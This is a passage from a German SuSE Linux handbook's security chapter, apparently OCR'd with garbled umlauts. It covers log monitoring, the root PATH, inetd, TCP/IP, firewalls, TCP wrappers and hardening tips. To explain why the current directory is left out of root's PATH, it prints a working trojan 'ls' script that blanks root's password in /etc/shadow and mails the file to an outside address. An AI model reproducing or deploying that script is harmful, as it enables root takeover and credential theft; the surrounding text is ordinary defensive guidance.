  507.                  Pipe-Angriffen, Prozesse k÷nnen auf Wunsch nicht mehr "gestraced" werden
  508.                  und einiges mehr. Da dieses Paket sehr neu ist, und zum Druckdatum dieses
  509.                  Buches noch nicht vollstΣndig dokumentiert war, m÷chten wir Sie bitten,
  510.                  einen Blick in die Dokumentation des Pakets zu werfen.
  511.  
  512.                  Durch Logdateien surfen
  513.                  Eine wichtige Quelle an Informationen sind sicherlich die Dateien, in denen
  514.                  das System und einzelne Programme Informationen schreiben. Die Rede ist
  515.                  von Logdateien. Zumindest eine dieser Logdateien sollte man regelmΣ▀ig
  516.                  durchsehen: die Datei /var/log/messages ¡ hierhin wird unter SuSE
  517.                  Linux der Gro▀teil der Informationen protokolliert.
  518.                  Natⁿrlich hat man in den meisten FΣllen keine Zeit und/oder keine Motivati-
  519.                  on, sich durch diese immer gr÷▀er werdenden Dateien zu graben. Zum Glⁿck
  520.                  gibt es auch hierfⁿr Hilfsmittel, die einen Gro▀teil der Arbeit erledigen k÷n-
  521.                  nen. Eines dieser Hilfsmittel ist das Programm logsurfer.
  522.                  Durch eine Konfigurationsdatei gesteuert, erlaubt es die kontinuierliche ▄ber-
  523.                  wachung einer Logdatei. Auf bestimmte Meldungen kann hier mit definierten
  524.                  Aktionen reagiert werden, indem z. B. eine Mail geschickt oder ein externes
  525.                  Programm gestartet wird.
  526.                  Beispiele finden sich in der wirklich guten Manual-Page von logsurfer.conf
  527.                  (man 4 logsurfer.conf).
  528.  
  529.                  Die Variable PATH und der Benutzer `root' ...
  530.                  WΣhrend der Arbeit unter SuSE Linux als Benutzer `root' ist Ihnen si-
  531.                  cherlich schon aufgefallen, dass das aktuelle Verzeichnis nicht im Suchpfad
  532.                  vorhanden ist. Das macht sich dadurch bemerkbar, dass Sie vor dem Namen
  533.                  des auszufⁿhrenden Programmes immer ein ./ voranstellen mⁿssen. Den
  534.                  Grund dafⁿr verdeutlicht das folgende Szenario:
  535.  
  536.                   * Ein Benutzer ist in Ihrem System angemeldet und erstellt das Shell-Skript
  537.                     in der Art der Datei 18.2.1 auf der nΣchsten Seite.
  538.                   * Dieses Skript legt er nach /tmp/ls.
  539.                   * Wenn jetzt `root' nach /tmp wechselt, das aktuelle Verzeichnis ¡ in
  540.                     diesem Fall /tmp ¡ vor /bin in der Variable PATH eingetragen hat,
  541.                     so wird anstatt /bin/ls das eben erwΣhnte Skript ausgefⁿhrt, was zur
  542.                     Folge hat, dass das Root-Passwort entfernt wird und der Benutzer eine
  543.  
  544. 468
  545.  
  546.  
  547.  
  548.                                                                                  18.2. Tools
  549.  
  550. #!/bin/sh
  551. cp /etc/shadow /etc/shadow.system
  552. cat /etc/shadow.system | \
  553.         sed 's;\(^root:\)[^:]*\(:.*\);\1\2;' > /etc/shadow
  554. # rm -f /etc/shadow.system
  555. mailx hacker@hackit.org -s "Root Ac-
  556. count hacked" < /etc/shadow
  557. /bin/ls $*
  558.  
  559.  
  560.                     Datei 18.2.1: Shellskript zum Root-Hack
  561.  
  562.        Mail bekommt, die Ihm sagt, dass er jetzt ohne Passwort einen Root-
  563.        Account auf Ihrem Rechner hat. Das ist unsch÷n ;-) .
  564.  
  565. WΣre das aktuelle Verzeichnis nicht im Suchpfad gewesen, hΣtten Sie explizit
  566. ./ls eingeben mⁿssen, um das Skript auszufⁿhren ¡ es handelt sich hierbei
  567. ⁿbrigens um ein  Trojanisches Pferd" ( auf Seite 463).
  568.  
  569. 18.2.2 Netzwerk-Tools
  570. Es ist ohne Zweifel sinnvoll und wichtig, einen Rechner, der im Netzwerk
  571. steht, zu beobachten bzw. zu kontrollieren. Im folgenden soll darauf einge-
  572. gangen werden, wie man einen Linux-Rechner m÷glichst sicher vor einem
  573. Angriff aus dem Netz machen kann.
  574.  
  575. Der inetd
  576. Ein elementarer Ansatz hierfⁿr ist die genau ⁿberlegte Freischaltung der
  577. Dienste (Ports), die der inetd (Internet  Super-Server") bereitstellt. Unter
  578. SuSE Linux sind als Voreinstellung einige der  gefΣhrlichen" Dienste stan-
  579. dardmΣ▀ig deaktiviert. Es handelt sich hierbei um die  internal services" des
  580. inetd. Die Konfigurationsdatei ist /etc/inetd.conf. Aber auch die an-
  581. deren Dienste sollten wohlⁿberlegt freigeschaltet bzw. deaktiviert werden ¡
  582. je nach Bedarf. Wir empfehlen unbedingt einen Blick in die Konfigurations-
  583. datei zu werfen, da standardmΣ▀ig z. B. POP3 und andere Dienste aktiviert
  584. sind! Datei 18.2.2 zeigt eine Auswahl an Diensten, die in den allermeisten
  585. FΣllen vollkommen ausreichend ist.
  586.  
  587. ftp        stream tcp nowait root        /usr/sbin/tcpd          wu.ftpd -a
  588. telnet stream tcp nowait root            /usr/sbin/tcpd          in.telnetd
  589. shell stream tcp nowait root             /usr/sbin/tcpd          in.rshd -L
  590. login stream tcp nowait root             /usr/sbin/tcpd          in.rlogind
  591. finger stream tcp nowait nobody /usr/sbin/tcpd                   in.fingerd -
  592. wident stream tcp wait nobody /usr/sbin/in.identd in.identd \
  593.            -w -e -t120
  594.  
  595.  
  596.            Datei 18.2.2: Typisches Konfigurationsbeispiel fⁿr den inetd
  597.  
  598. Jedoch auch hier sollte man sich ⁿberlegen, ob man wirklich Dienste wie
  599. telnet, shell und login ben÷tigt. Diese Dienste haben nΣmlich den Nachteil,
  600.  
  601.                                                                                         469
  602.  
  603.  
  604.  
  605. 18. Sicherheit ist Vertrauenssache
  606.  
  607.                  dass ein Angreifer sΣmtliche Daten einschlie▀lich des Passworts bei solchen
  608.                  Verbindungen mitlesen kann. Dazu sind nicht einmal besondere Kenntnisse
  609.                  notwendig, da es Programme gibt, die einem diese Arbeit abnehmen. Insbe-
  610.                  sondere sollte man auf keinen Fall ein direkten Remote-Login als `root'
  611.                  zulassen. Aus diesem Grund sei noch einmal auf die  Secure Shell" (Paket
  612.                  ssh) hingewiesen. Bei Einsatz der ssh wird die gesamte ▄bertragung ver-
  613.                  schlⁿsselt, auch das eingegebene Passwort ( Verschlⁿsselung).
  614.  
  615.                  Das SuSE Firewall-Paket
  616.  
  617.                   Fragen zum SuSE Paketfilterfirewall werden nicht durch den Installations-
  618.                   support beantwortet.
  619.  
  620.                  Der SuSE Paketfilterfirewall (Paket firewals, Serie sec (Sicherheitsrele-
  621.                  vante Software)) wird ⁿber die Datei /etc/rc.firewall aktiviert und
  622.                  konfiguriert. Die einzelnen EintrΣge sind in der Datei selber dokumentiert
  623.                  und kommentiert. Um auch AnfΣngern den Einstieg zu erleichtern, folgen
  624.                  nun einige Grundlagen-ErlΣuterungen und Hinweise zum Einsatz der SuSE
  625.                  Paketfilterfirewall.
  626.                  Die bei der Kommunikation ⁿber das Internet eingesetzte Protokollfamilie ist
  627.                  das Internetprotokoll, das unter dem Begriff  TCP/IP" bekannt ist. TCP/IP
  628.                  steht fⁿr Transmission Control Protocol und Internet Protocol. TCP/IP ist
  629.                  heutzutage ⁿber fast alle Hardware-, Betriebssystem- und Netzplattformen
  630.                  hinweg verfⁿgbar. Es wurde vom amerikanischen Verteidigungsministerium
  631.                  (United States Department of Defence; DoD) entwickelt und zum ersten Mal
  632.                  1978 der ╓ffentlichkeit vorgestellt.
  633.                  Ein TCP/IP-Netz ⁿbertrΣgt Daten zwischen verschiedenen Computersyste-
  634.                  men, indem es die Daten zu Paketen zusammenfasst und die Pakete ⁿbertrΣgt.
  635.                  Jedes Paket beginnt mit einem Header, der verschiedene Steuerinformationen,
  636.                  wie z. B. die Adresse des Zielcomputers, enthΣlt. Nach diesem Header folgen
  637.                  dann die zu ⁿbertragenden Daten. Wenn z. B. eine Datei von einem Compu-
  638.                  ter auf einen anderen Computer ⁿber das Netz transportiert werden soll, wird
  639.                  der Inhalt dieser Datei in eine Serie von Paketen umgewandelt. Diese Pakete
  640.                  werden dann zum Zielcomputer geschickt.
  641.                  Die fehlerfreie ▄bertragung der Pakete stellt das Transmission Control Proto-
  642.                  col (TCP) sicher. Es sorgt z. B. dafⁿr, dass die Pakete in der richtigen Reihen-
  643.                  folge beim EmpfΣnger ankommen. TCP bildet die Transportschicht und mel-
  644.                  det Fehler, die nicht behebbar sind, an das darⁿberliegende IP weiter. Ein wei-
  645.                  teres Tranportschichtprotokoll der Familie ist UDP. Bei UDP wurde auf die
  646.                  Sicherstellung der fehlerfreien ▄bertragung verzichtet, wodurch die ▄bertra-
  647.                  gung schneller als bei TCP verlΣuft. Allerdings muss bei der Verwendung von
  648.                  UDP anderweitig (durch die Anwendung) sichergestellt werden, dass ▄ber-
  649.                  tragungsfehler erkannt und korrigiert werden.
  650.                  Eine IP-Adresse (IP Version 4) ist ein 32Bit-Wert. Um IP-Adressen besser
  651.                  lesbar zu machen, werden sie in dezimalen 8Bit-Portionen, durch Punkte ge-
  652.                  trennt, geschrieben (z. B. 192.168.0.20). Damit ein Computer zur glei-
  653.                  chen Zeit mehrere Verbindungen bedienen kann und um diese Verbindun-
  654.                  gen voneinander unterscheiden zu k÷nnen, findet die Kommunikation ⁿber
  655.  
  656. 470
  657.  
  658.  
  659.  
  660.                                                                                  18.2. Tools
  661.  
  662. sog. Ports (0 bis 65535) statt. Diesen Ports werden Verbindungen zugeord-
  663. net, d. h. im Header eines TCP- oder UDP-Pakets werden neben der Adresse
  664. des sendenden Computers (Quelladresse) und des Zielcomputers (Zieladres-
  665. se) auch der Quellport und der Zielport eingetragen. Ein Teil der Ports 0
  666. bis 65535 ist per Definition fⁿr bestimmte Dienste vorgesehen (siehe auch
  667. /etc/services).
  668. Der TCP-Port 23 ist beispielsweise der Port fⁿr Telnetverbindungen. Eine
  669. weitere Festlegung betrifft die Ports 0 bis 1023 (TCP und UDP). Sie sind
  670. die sog. privilegierten Ports. Auf diesen Ports dⁿrfen vertrauenswⁿrdige Pro-
  671. gramme, die zum Teil mit Systemverwalterprivilegien (`root'-Rechte) aus-
  672. gefⁿhrt werden mⁿssen, ihre Dienste anbieten (siehe /etc/services).
  673. Die Ports 1024 bis 65535 werden als nichtprivilegierte Ports bezeichnet.
  674. Der Unterschied kann am etwas vereinfachten Beispiel einer Dateiⁿbertra-
  675. gung mit ftp verdeutlicht werden. Ein FTP-Server bietet seine Dienste auf
  676. TCP-Port 21 an. Wird ein FTP-Client auf dem Computer mit der IP-Adresse
  677. 192.168.3.5 (Client) mit dem Kommando
  678.     tux@erde:/home/tux > ftp 192.168.3.16
  679. gestartet, dann baut der Client eine TCP-Verbindung zum Port 21 des Compu-
  680. ters mit der IP-Adresse 192.168.3.16 (Server) auf. Auf Port 21 antwortet
  681. der FTP-Server und wickelt die Benutzeridentifizierung (Loginnamen- und
  682. Passwortabfrage) ab. Auch die FTP-Kommandos, die der Benutzer nach der
  683. Anmeldung eingibt, werden ⁿber diese Verbindung ⁿbertragen. Sollen Daten
  684. vom Server zum Client ⁿbertragen werden, (nach Eingabe des ls-Befehls
  685. oder des get-Befehls) baut der Server von sich aus eine Verbindung zu ei-
  686. nem nichtprivilegierten Port des Clients auf. ▄ber diese Verbindung werden
  687. dann die eigentlichen Daten ⁿbertragen.
  688. TCP/IP wurde fⁿr sehr gro▀e Netze entworfen und beinhaltet deshalb Me-
  689. chanismen zur Strukturierung eines Netzes. Der gesamte 32Bit-breite Adress-
  690. raum kann in  Subnets" aufgeteilt werden. Die Subnet-Bildung erfolgt, indem
  691. eine Anzahl Bits (von links beginnend) zur Netzadresse eines Subnets er-
  692. klΣrt werden. Beim Subnet mit der Adresse 192.168.3.0 bilden die ersten
  693. 24 Bits der Adresse die Netzadresse. Durch die  Subnetmask" (Netzmaske)
  694. wird gekennzeichnet, wie viele Bits einer Adresse die Netzadresse bilden. Die
  695. Subnetmask 255.255.255.0 legt beispielsweise fest, dass der Computer
  696. mit der Adresse 192.168.3.5 im Subnet mit der Adresse 192.168.3.0
  697. zu finden ist.
  698. Subnets innerhalb eines gro▀en Netzes werden meist durch Router verbun-
  699. den. Router sind entweder spezialisierte GerΣte oder entsprechend ausgerⁿs-
  700. tete Computer die dafⁿr sorgen, dass Pakete den richtigen Weg ans Ziel fin-
  701. den. Das Gegenstⁿck zur Subnetmask ist die sog. Broadcast-Adresse. ▄ber
  702. die Broadcast-Adresse sind alle Computer eines Subnet erreichbar. Beispiel:
  703. Alle Computer im Netz 192.168.3.0 sind ⁿber die Broadcast-Adresse
  704. 192.168.3.255 erreichbar.
  705. Ist der Anschluss an das Internet erfolgt, ist der Computer zu einem Teil des
  706. weltweiten Internet geworden. Jedesmal wenn die Verbindung zum Provider
  707. aktiviert wird, ist er aus dem Internet erreichbar. Jetzt mⁿssen Ma▀nahmen
  708.  
  709.                                                                                         471
  710.  
  711.  
  712.  
  713. 18. Sicherheit ist Vertrauenssache
  714.  
  715.                  getroffen werden, um unerlaubte Zugriffe aus dem Internet zu unterbinden.
  716.                  Diese Aufgabe ⁿbernimmt der SuSE Paketfilterfirewall.
  717.  
  718.                   Paketfilter sind Network Level Firewalls. Sie entscheiden grundsΣtzlich auf
  719.                   Basis von Quelladressen, Zieladressen und Ports in einzelnen IP-Paketen.
  720.                   Ein einfacher Router oder der SuSE Paketfilterfirewall sind traditionel-
  721.                   le Network Level Firewalls. Da sie nicht intelligent genug sind festzu-
  722.                   stellen, welche Bedeutung der Inhalt eines IP-Pakets hat und wo es tat-
  723.                   sΣchlich herkommt, bieten sie keinen umfassenden Schutz gegen Angrif-
  724.                   fe. Moderne Network Level Firewalls (z. B., SINUS Firewall I fⁿr Linux,
  725.                   http://www.sinusfirewall.org) sind h÷herentwickelt und sam-
  726.                   meln interne Informationen ⁿber den Status der Verbindungen, die ⁿber
  727.                   sie laufen, den Inhalt von Datenstr÷men usw. Application Level Firewalls
  728.                   (z. B. TIS Firewall Toolkit) dagegen sind normalerweise Computer, auf de-
  729.                   nen Proxy-Server laufen, die den Datenverkehr, der ⁿber sie lΣuft, sorgfΣl-
  730.                   tig protokollieren und ⁿberprⁿfen. Da die Proxy-Server Programme sind,
  731.                   die auf dem Firewall laufen, sind sie ideal fⁿr Protokollierungs- und Zu-
  732.                   griffschutzmechanismen geeignet.
  733.  
  734.  
  735.                  Wo soll der SuSE Paketfilterfirewall eingesetzt werden? Fⁿr Netze mit
  736.                  erh÷htem Schutzbedarf ¡ streng genommen ist das ⁿberall, wo personenbezo-
  737.                  gene Daten gespeichert werden ¡ sind  Application Level Firewalls" bedingt
  738.                  durch ihr Funktionsprinzip immer noch erste Wahl. Fⁿr solche Netze bietet
  739.                  der SuSE Paketfilterfirewall keinen ausreichenden Schutz.
  740.                  Der SuSE Paketfilterfirewall ist fⁿr den Schutz des privaten PC zuhause, des
  741.                  Mininetzes zuhause oder einer Workstation innerhalb eines vertrauenswⁿrdi-
  742.                  gen Netzes gedacht.
  743.                  Fⁿr den Schutz von Firmennetzen sollten Sie den SuSE Paketfilterfirewall nur
  744.                  einsetzen, wenn Sie genau wissen, was Sie tun (siehe Literaturliste).
  745.                  Fⁿr den Aufbau und die Pflege von Firewalls ist tiefgehendes Wissen ⁿber
  746.                  Netzwerke und die verwendeten Netzwerkprotokolle zwingend erforderlich.
  747.                  Eine grafische OberflΣche oder eine vorgefertigte Konfiguration wie der SuSE
  748.                  Paketfilterfirewall k÷nnen dieses Wissen letztendlich nicht ersetzen.
  749.                  Die Dokumentation zur SuSE Paketfilterfirewall finden sie unter /usr/
  750.                  doc/packages/firewals und /etc/rc.firewall.
  751.                  Wer sich mit dem Thema Firewall auseinander setzen will, dem seien die
  752.                  folgenden Quellen zum Studieren und Experimentieren empfohlen.
  753.                  Das Firewallhandbuch fⁿr Linux 2.0 und 2.2 von Guido Stepken bietet von
  754.                  detaillierten technischen Informationen ⁿber die Beschreibung von typischen
  755.                  Schwachstellen und Fehlern fast alles was man wissen muss um mit Li-
  756.                  nux einen sicheren Firewall aufzubauen. Das Firewallhandbuch fⁿr Linux ist
  757.                  Pflichtlektⁿre und nur online verfⁿgbar (http://www.little-idiot.
  758.                  de/firewall/). Das Freefireprojekt ist ein guter Anlaufpunkt fⁿr alle die
  759.                  sich fⁿr Firewalls auf Basis freier Software interessieren (http://sites.
  760.                  inka.de/sites/lina/freefire-l/).
  761.  
  762. 472
  763.  
  764.  
  765.  
  766.                                                               18.3. Sicherheit bei SuSE Linux
  767.  
  768. Der TCP-Wrapper
  769.  
  770. Der TCP-Wrapper (tcpd) erlaubt es, den Zugriff auf bestimmte Dienste ge-
  771. zielt fⁿr einzelne Netze oder IP-Adressen freizuschalten. Der tcpd ist be-
  772. reits in SuSE Linux integriert, wie man in Datei 18.2.2 auf Seite 469 und in
  773. /etc/inetd.conf an der 6. Spalte erkennen kann. Das Konzept ist ganz
  774. einfach: Der tcpd ruft die eigentlichen Dienste auf und kontrolliert vorher, ob
  775. der Client dazu berechtigt ist.
  776. Diese Zugriffskontrolle geschieht ⁿber die beiden Dateien /etc/hosts.
  777. allow und /etc/hosts.deny.
  778.  
  779.  * Ein Zugriff wird gewΣhrt, wenn eine Kombination aus Client und Dienst
  780.     in der Datei /etc/hosts.allow zutrifft.
  781.  * ─quivalent dazu wird ein Zugriff abgewiesen, wenn eine solche Kombi-
  782.     nation in der Datei /etc/hosts.deny zutrifft.
  783.  * Befindet sich weder in der einen noch in der anderen Datei eine solche
  784.     Regel, wird der Zugriff gewΣhrt.
  785.  
  786.  Sobald eine Regel zutrifft, wird diese genommen. Das bedeutet, wenn in
  787.  /etc/hosts.allow z. B. ein Zugriff auf den Telnet-Port erlaubt wird,
  788.  wird dieser gewΣhrt, auch wenn dieser in /etc/hosts.deny gesperrt
  789.  ist.
  790.  
  791. In der Manual-Page von hosts_access (man 5 hosts_access) wird
  792. die Syntax dieser Dateien beschrieben.
  793. Eine Alternative zur Kombination TCP-Wrapper/inetd stellt der xinetd dar
  794. (Paket xinetd, Serie n (Netzwerk-Support)). Er vereint die FunktionalitΣt
  795. von inetd und tcpd. Der Nachteil ist jedoch die InkompatibilitΣt der Konfigu-
  796. rationsdateien zwischen inetd und xinetd.
  797.  
  798.  Es kann nur einer der beiden Internet  Super-Server" gestartet werden. Sie
  799.  mⁿssen sich also fⁿr einen von beiden entscheiden.
  800.  
  801. In der Serie sec (Sicherheitsrelevante Software) befinden sich weitere Pro-
  802. gramme, die beim Aufbau eines sicheren Systems helfen. St÷bern Sie einfach
  803. durch die dort liegende Pakete.
  804.  
  805. 18.3 Sicherheit bei SuSE Linux
  806. SuSE bietet folgende Dienstleistungen fⁿr die Bereitstellung einer m÷glichst
  807. sicherheitsorientierten Distribution an:
  808.  
  809. Zwei Mailinglisten stehen fⁿr alle zur Verfⁿgung:
  810.  * suse-security-announce ¡ enthΣlt SuSE-Benachrichtigungen zu
  811.     Sicherheitsproblemen.
  812.  * suse-security ¡ enthΣlt die Benachrichtigungen und ist fⁿr ÷ffentli-
  813.     che Diskussionen offen.
  814.  
  815.                                                                                          473
  816.  
  817.  
  818.  
  819. 18. Sicherheit ist Vertrauenssache
  820.  
  821.                  Zum Eintragen auf eine der beiden Mailinglisten reicht es, eine leere E-Mail
  822.                  an suse-security-subscribe@suse.com oder
  823.                  suse-security-announce-subscribe@suse.com zu senden.
  824.  
  825.                  Zentrale Meldung von neuen Sicherheitsproblemen:
  826.                  Wenn Sie ein neues Sicherheitsproblem finden (bitte prⁿfen Sie vorher
  827.                  die zur Verfⁿgung stehenden Updates), senden Sie bitte eine E-Mail an
  828.                  security@suse.de mit der Beschreibung des Problems. Wir kⁿmmern uns
  829.                  umgehend darum. Sie k÷nnen die Daten mit Paket pgp verschlⁿsseln. Unser
  830.                  public pgp key7 liegt unter http://www.suse.de/security
  831.                  zum Download bereit ( Verschlⁿsselung).
  832.  
  833.                  18.4 Allgemeine Hinweise
  834.                  1. Der Benutzer `root' sollte lediglich fⁿr administrative Arbeiten einge-
  835.                      loggt sein. Fⁿr die tΣgliche Arbeit am Rechner sollte ein Benutzeraccount
  836.                      angelegt werden.
  837.                  2. Vermeiden Sie die Benutzung von telnet, rlogin oder gar rsh.
  838.                  3. Verwenden Sie stattdessen ssh, wenn remote gearbeitet werden muss.
  839.                  4. Deaktivieren Sie alle Netzwerkdienste, die nicht ben÷tigt werden.
  840.                  5. Halten Sie sicherheitsrelevante Pakete up to date, wie z. B. Paket bind,
  841.                      Paket sendmail und Paket ssh.
  842.                  6. Entfernen Sie suid- und sgid-Bits von allen Dateien im System, die nicht
  843.                      unbedingt fⁿr normale Benutzer zum Arbeiten notwendig sind.
  844.                  7. Die Logdateien sollten regelmΣ▀ig ⁿberwacht werden.
  845.  
  846.  
  847.  
  848.  
  849.  
  850.  
  851.  
  852.  
  853.  
  854.  
  855.  
  856.  
  857.  
  858.  
  859.  
  860.  
  861.  
  862.  
  863.  
  864.  
  865.                  7 PGP Key fingerprint = 73 5F 2E 99 DF DB 94 C4 8F 5A A3 AE AF 22 F2 D5
  866.  
  867. 474
  868.  
  869.  
  870.  
  871.